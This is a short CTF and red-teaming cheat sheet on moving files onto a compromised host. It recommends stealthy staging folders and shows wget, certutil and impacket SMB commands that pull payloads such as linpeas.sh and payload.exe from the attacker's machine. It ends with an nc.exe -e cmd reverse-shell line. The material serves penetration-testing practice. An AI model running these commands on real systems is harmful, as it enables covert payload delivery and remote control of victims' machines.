> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/exploitation/file-transfer.md).

# File Transfer

## Where to Transfer

* On Linux, transfer files to `/dev/shm`
* On Windows, transfer files to `C:\Windows\Tasks`

They are chosen to be the locations for file transfer because they are world-readable/writable/executable and more stealthy than `/tmp` and `C:\Windows\Temp`.

## Linux

On attack machine, host a server:

```bash
updog
```

On victim machine, download with `wget`:

```bash
wget http://<local_ip>/linpeas.sh
```

## Windows

### certutil

On attack machine, host a server:

```bash
updog
```

On victim machine, download with `certutil`:

```bash
certutil -urlcache -f http://<local_ip>/payload.exe payload.exe
```

### impacket-smbserver

If `certutil` is not on the compromised Windows machine, we can transfer files with SMB server instead.

On Kali, create a SMB server:

```shell
impacket-smbserver ret2basic /usr/share/windows-resources/binaries/
```

Here `ret2basic` is the name of the share and `/usr/share/windows-resources/binaries/` is the directory that I want to host. On the compromised Windows machine:

```powershell
net use * \\<local_ip>\ret2basic
Z:\nc.exe <local_ip> <local_port> -e cmd
```